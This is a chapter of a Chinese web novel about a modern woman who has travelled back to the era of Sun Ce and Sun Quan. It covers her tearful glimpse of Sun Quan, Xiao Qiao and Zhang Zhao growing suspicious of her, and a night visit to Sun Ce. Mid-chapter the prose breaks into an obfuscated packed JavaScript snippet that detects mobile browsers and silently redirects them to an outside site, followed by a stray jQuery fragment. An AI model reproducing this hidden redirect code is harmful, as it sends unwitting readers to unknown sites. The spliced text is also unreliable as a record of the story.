步一乔几乎是连跌带撞地冲向周瑜告知的地点。
建安四年,孙策攻克皖城,麾下将士俘获了刘勋家眷百余人。当时虚岁十八的孙权,因随兄长及其他将领家眷滞留城中,未及撤离,竟成了这场胜仗中一个微妙的“俘虏”。
不知何时,小乔也跟了上来。许是周瑜折返时与她说了什么,才让她匆匆赶来。只是她体力远不及步一乔,一路疾奔后几乎虚脱,整个人软软地挂在她肩上。
“你……你……你……”小乔喘得上气不接下气,“你跑这么快做什么……”
迟疑了一下,步一乔推开眼前沉重的大门。
“孙权……”
“啊?”小乔微怔,“孙权是……是孙策将军的弟弟?孙仲谋?”
想不到从天而降的姑娘居然同孙仲谋也认识?光是周瑜与她初见便有要事要谈,就足够令她震惊。
眼前的人,到底什么来头?
话说她那日穿的衣裳好生奇怪。
门推到一半,步一乔的手忽然顿住。
她不敢再推。
她还没准备好,该以怎样的神情、怎样的心情,去见一个“死而复生”的故人。
小乔见她眼中泪光闪烁,轻轻握住她的手,低声道:“不如先敲门吧。”
“不行!”步一乔脱口而出,“我只悄悄看一眼,看一眼就走。”
“这样么……”
小乔心中的疑云愈发浓重。
步一乔深吸一口气,咬紧牙关,终于将门彻底推开。
远处家眷人群中,独有一人气质卓然。那少年身形挺拔,举止从容,眉目间既有书卷气,又不失将门风范。
是孙权……他真的活着……他活过来了……
“他没死……”
泪水无声滑落。若不是手背上传来温热的湿意,小乔甚至未曾察觉步一乔又哭了。
“怎么又掉眼泪……”小乔轻叹着,一边为她拭泪,“妆都要花了。难道是见故人重生,悲喜交加?”
“嗯……”步一乔嗓音沙哑,抿紧的双唇止不住地颤抖,“是……他活着……他没有死……哇啊————!!!”
小乔被她突如其来的嚎啕惊住。
步一乔猛地扑进她怀中放声大哭,引得四周目光纷纷投来。
“他没有死……他还活着……他还活着……”
孙权闻声望向这边,只见一陌生女子埋首哭泣,另一张面孔也不曾相识。当是哪户乱世重逢的姐妹情绪激动,便未多加留意。
*
小乔手足无措地拍着步一乔颤抖的后背,目光不由自主地投向远处的孙权。
少年只是淡淡一瞥,便转身与身旁的老仆低语。阳光落在他青色的衣襟上,勾勒出清瘦却挺拔的轮廓。
小乔心中疑云更甚:到底是何等旧识,能让她伤感成这般?可若是久别重逢,为何只敢远远偷望一眼,不敢相认?
“话说你居然认识他?”小乔的疑惑脱口而出。
眼见着四周看热闹的百姓越聚越多,窃窃私语声渐起。
“我们……我们先离开这里。”小乔试图将步一乔从自己肩上扶起。
可怀中的人仿佛被抽走了所有力气,沉重地压着她,温热的泪水早已浸透衣襟,嘴里还反复念着那句叫人听不真切的“他没死”。
就在这时,一阵脚步声由远及近。
“二位姑娘可是遇到了什么难处?”
儒雅的声音让两人同时一怔。
步一乔的哭声戛然而止,却不敢抬头,生怕红肿的狼狈样被人发现。小乔抬眼望去,文士打扮的中年男子站在几步开外,眉目温和。
是张昭!
小乔连忙敛衽行礼:“见过张昭先生。”
步一乔终于抬头,慌乱地用袖子擦拭眼泪。张昭的视线在她哭花的脸上停留片刻,又望向后方敞开一半的门。
“冬日风寒,二位姑娘若是不弃,可随我至偏厅稍作歇息。”张昭平和道。
“不必了……”步一乔下意识后退半步,想趁机逃走,却被小乔轻轻拉住。
“多谢先生好意,那便劳烦先生了。”小乔欠身致谢。
*
孙权已不知去向,穿过回廊时,步一乔始终低着头,生怕和熟人照面。
小乔始终牵着她的手,时刻顾及她的反应。
张昭将她们引至一处僻静的厢房,吩咐侍女准备热水和干净的布巾。
“二位稍作休息。”张昭意味深长地看了步一乔一眼,“若是需要什么,尽管吩咐下人。”
房门合上的瞬间,步一乔终于支撑不住,跌坐在榻上。
“你认识将军的弟弟仲谋。”小乔的语气笃定,不再有半分疑问,“而且,你曾经以为他死了。”
步一乔闭上眼,泪水再次滑落。
她该如何解释?说她来自千年之后,在史书中读过关于这个时代的一切?说她知道孙权会活到七十岁,会成为东吴的开国皇帝,却也会在晚年变得多疑残暴?
“不、是的……”步一乔擦掉眼泪,偏过头藏起脸,“只是他与故人极其相似,不由伤感罢了。”
“我不信。”
小乔走到她跟前蹲下身,用绣帕轻轻擦拭她的脸。步一乔又想用手袖,被小乔拦下。
“女儿家的肌肤娇贵,这绣帕柔软些。”
“谢谢……”
步一乔面对真心待己之人,从来无法说谎。如同当初无法对孙策撒谎一般。
她可以逃避,却做不到欺骗。
而此刻,是小乔。
步一乔眼睛干涩得厉害,用力闭了闭,再睁眼时声音沙哑:“不要告诉别人……我……抱歉。”
她终究说不出口。
如此荒诞之事,或许沉默才是最好的选择。
小乔在她身旁坐下,轻轻握住她冰冷的手。“你可知,方才张昭先生已经起疑了?”
步一乔猛地抬头。
“将军新得皖城,收纳降卒家眷,此刻正是敏感时分。”小乔压低声音,“何况你在门外哭得如此伤心,任谁都会多心。”
是故意哭丧的余孽?还是暗中报信的细作?步一乔心头一紧,若被怀疑,不仅自身难保,恐怕还会连累小乔。
“不……会吧?”步一乔沉了沉气,“那我该如何是好?”
“事已至此,唯有以行动证你清白。”小乔轻声道,“不如寻个时机,主动与孙将军一谈?眼下张昭先生想必已去禀报了。”
“……有可能。”步一乔将脸埋得更深,“我为何总做些蠢事……”
小乔轻轻从鼻息间哼出一声笑来,笑意里浸满了无奈的怜爱。
“可不是么,尽是些糊涂事。答应我姐姐的还没理清,眼前倒又添了一桩新的。你这榆木脑袋,到底从哪儿来的?”
步一乔恍然抬头,“啊!对啊,还有大乔的事儿,我都忘了……”
这都什么事儿啊!!!
*
冬日的皖城入夜后寒气蚀骨,步一乔捧了烫人的手炉,坐在桥府后院发愣。
寒冷能刺激醒大脑,便于思考。
换算成现代的时间,眼下不过刚吃了晚餐。可古人习惯了日落而息,此刻皆在屋中歇息。
“伯符应该睡了吧……”步一乔对着呵出的白气喃喃自语,“要不要去看看他?”
未出阁的姑娘深夜去寻未婚夫婿,传出去怕是名声尽毁。但步一乔并不在意。若是真惹了闲话,大不了故技重施,一走了之便是。
思及此,她下意识偏头望向不远处院墙角的那口井。
“这要是跳下去,没穿回现代,先把自己淹死了吧……”她自嘲地扯了扯嘴角。
还是等随孙策回到吴郡再从长计议吧。
躺棺材,比跳井好
算来距历史交流会的总结汇报还有五天,意味着她能在这个时代停留百日。三四个月的光阴,足够了。
*
孙策的居所为方便军士通报,大门常开。步
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467250|185506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一乔来得凑巧,恰逢守卫暂离,许是轮值更替的间隙。
她轻手轻脚踏入庭院,心中惴惴。旁人倒不甚畏惧,唯独怕撞见周瑜。
伯符的一见如故,和周瑜的似曾相识,都让步一桥莫名产生不安。身为当代青年人,竟开始怀疑时间的正确流向是否朝前走的。
“时空悖论吗……”她喃喃。
线性、不可逆的因果观。那自己的这场时间之旅,不可逆的是什么?是自己最初的目的吗?两次皆无法改变的事实结果。
建安五年,孙策遇刺身亡,时年二十六。
*
“一乔?”
窗边一声轻唤。孙策执卷而立,面露讶色。他着了身玄色深衣,墨发以一根简单的发呆束起,倒添了几分士族子弟的清雅。
步一乔尴尬地抿了抿唇,四下望了望,道:“忽然想起将军,便来看看你可曾安歇。这般鬼鬼祟祟的,实在失礼……”
孙策裂唇一笑,放下竹简,快步来到她面前。他身形高大,步一乔需仰头才能对上他的目光。
“夜寒露重,你身子单薄,当心受凉。”
“多谢将军关怀。既见将军安好,我便告辞了。”步一乔转身便要走。
“且慢!”孙策叫住她,“也不急一时,待会儿我护送你回府。来,我正好有东西送你。”
暖阁内陈设简朴,案上竹简犹带墨香。孙策添旺炭火,邀她同坐,忽而从屏风后取出一盏墨梅绘灯,挨着她坐下。
“将军这么好兴致?”
步一乔有些意外,抬眼看他。近看之下,他眉眼间的英气逼人,但望着她时,那目光总是软的。
“年关将至,我正好想到,便画了盏灯送你。”
“给我的?”
步一乔怔怔接过花灯,灯壁上的墨梅枝干虬劲,花瓣清雅。她指尖轻抚灯上寒梅,心绪如潮。
见卿心欢,却又不知有何不对。
步一乔幻想孙策的梦整整一年,一切的一切起源于一场墓碑边的午后梦。与他于山野间,忘乎所以、沉沦天地。
可是……无论是第一次还是眼下,眼前的伯符总与梦中“孙策”有何不同。
本能与理智在叫嚣。
步一乔最不愿承认的,是本能与伯符毫无欢愉之欲。
那么,孙策呢?
“那日,伯符为何选择了我,而非姐姐?你们原本……不是说好的么?”
步一乔抬眼望去,眸中盈满期待,又带着点不安。
孙策微微一笑,目光温润。
“大概出于某种心有灵犀吧。”他笑了笑,“那日见你欲言又止的模样,竟让我恍了神。待回过神来,已站在你面前,再看不见他人。”
步一乔轻笑打趣:“将军这般说辞,莫不是对我一见钟情了?”
“心有确信。纵使轮回千遍,我仍会第一眼就认出你。你是我金戈铁马里,唯一想要守护的安宁。”
步一乔的耳根染上绯色。
“将军可以去写诗了。说得那么感人,我都快哭了。”
孙策笑意渐深,伸手轻轻拂开她额前一缕碎发。
时间似乎不曾更变,此时,她依旧是他即将三书六礼聘娶的“大乔”。
“大概是你上辈子救了我吧。这一世,换我来护你周全。”
“救了你……”
步一乔忽然想起了初临江东,被孙策差点当成满口胡话的妖人,一刀砍了。第二次穿越回去,救了孙尚香,孙策以恩人留下她,不过半月便要与她长相厮守。
此番第三次邂逅,一如既往的一见钟情。
上辈子……于步一乔而言不过一月之前,于他而言,已是上辈子了吗?
“那日将军说的三兄弟……还有一人是谁?”她收敛心神,轻声问道。
“我孙策兄弟虽多,但我最看重的,除周瑜外,自是二弟仲谋。”
步一乔倏地抬眼,眸中满是惊诧。
“你想把大乔嫁给……孙权?!”